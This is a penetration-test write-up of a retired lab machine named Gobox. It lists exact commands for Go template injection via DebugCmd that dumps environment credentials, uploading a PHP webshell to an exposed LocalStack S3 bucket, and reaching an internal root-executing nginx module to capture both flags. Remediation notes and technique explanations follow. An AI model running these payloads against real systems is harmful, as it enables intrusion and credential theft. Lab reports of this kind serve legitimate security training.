Gobox
Summary
Target gobox ($TARGET) was fully compromised through a four-stage chain. The Go web application on port 8080 exposed a password-reset form vulnerable to Go template Server-Side Template Injection; injecting the built-in DebugCmd helper executed OS commands inside the container and dumped AWS credentials from the process environment.
Those credentials authenticated against an unauthenticated LocalStack S3-compatible service on port 4566, where my found a bucket named 'website' that backed the PHP site on port 80. Uploading a PHP webshell to that bucket made it immediately executable on the host as www-data, yielding the user flag.
Interrogating the host nginx configuration through the webshell exposed a non-standard custom module (ngx_http_execute_module.so) loaded on an internal listener running as root. Reversing the module's string table identified the command-trigger query-parameter format; a single tunnelled request to port 8000 with that parameter executed arbitrary commands as root and produced the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV --open -p 22,80,4566,8080 $TARGETcurl -sS -i http://$TARGET:8080/for p in / /forgot /forgot/; do echo "### $p"; curl -sS -i --max-time 8 "http://$TARGET:8080$p" | head -c 2000; echo; doneExact commands 2
curl -sS -i -X POST --data-urlencode 'email={{.}}' http://$TARGET:8080/forgot/curl -sS -i -L -X POST --data-urlencode 'email=ippsec@hacking.esports' --data-urlencode "password=$PASSWORD" http://$TARGET:8080/FixRemove DebugCmd from the Go template context and never render user input as a templateCritical
Exact commands 3
curl -sS --max-time 8 -X POST --data-urlencode 'email={{.DebugCmd "id"}}' http://$TARGET:8080/forgot/curl -sS --max-time 8 -X POST --data-urlencode 'email={{.DebugCmd "env"}}' http://$TARGET:8080/forgot/for c in id pwd 'ls /opt/uhc' 'ls /'; do echo "### $c"; curl -sS --max-time 8 -X POST --data-urlencode "email={{.DebugCmd \"$c\"}}" http://$TARGET:8080/forgot/ | sed -n '/Email Sent To:/,/<button/p'; doneExact commands 4
export AWS_ACCESS_KEY_ID='$PASSWORD2' AWS_SECRET_ACCESS_KEY='$PASSWORD2' AWS_DEFAULT_REGION='us-east-1'aws --endpoint-url http://$TARGET:4566 s3 lsaws --endpoint-url http://$TARGET:4566 s3 ls s3://website/ --recursiveprintf '%s' '<?php system($_GET["cmd"]); ?>' > /tmp/gobox-codex.php && aws --endpoint-url http://$TARGET:4566 s3 cp /tmp/gobox-codex.php s3://website/gobox-codex.phpFixBind LocalStack to loopback only and enforce bucket-level write controlsCritical
Exact commands 2
curl -sS --get --data-urlencode 'cmd=id; pwd' http://$TARGET/gobox-codex.phpcurl -sS --max-time 8 --get --data-urlencode 'cmd=find /home -name user.txt -type f -readable -exec sh -c '"'"'echo PATH:$1; cat "$1"'"'"' sh {} \;' http://$TARGET/gobox-codex.phpFixPrevent PHP execution of externally controlled files in the web-served bucket pathHigh
Exact commands 4
curl -sS --get --data-urlencode 'cmd=nginx -V 2>&1' http://$TARGET/gobox-codex.phpcurl -sS --get --data-urlencode 'cmd=ls -la /usr/lib/nginx/modules/ 2>&1' http://$TARGET/gobox-codex.phpcurl -sS --get --data-urlencode 'cmd=strings /usr/lib/nginx/modules/ngx_http_execute_module.so | tail -160' http://$TARGET/gobox-codex.phpcurl -sS --get --data-urlencode 'cmd=ss -tlnp; cat /etc/nginx/sites-enabled/default /etc/nginx/conf.d/*.conf 2>/dev/null' http://$TARGET/gobox-codex.phpExact commands 2
curl -sS --get --data-urlencode 'cmd=curl --globoff -sS -i "http://127.0.0.1:8000/?ippsec.run[id]"' http://$TARGET/gobox-codex.phpcurl -sS --get --data-urlencode 'cmd=curl --globoff -sS "http://127.0.0.1:8000/?ippsec.run[cat /root/root.txt]"' http://$TARGET/gobox-codex.phpFixRemove the custom Nginx execute module and run Nginx workers as an unprivileged userCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.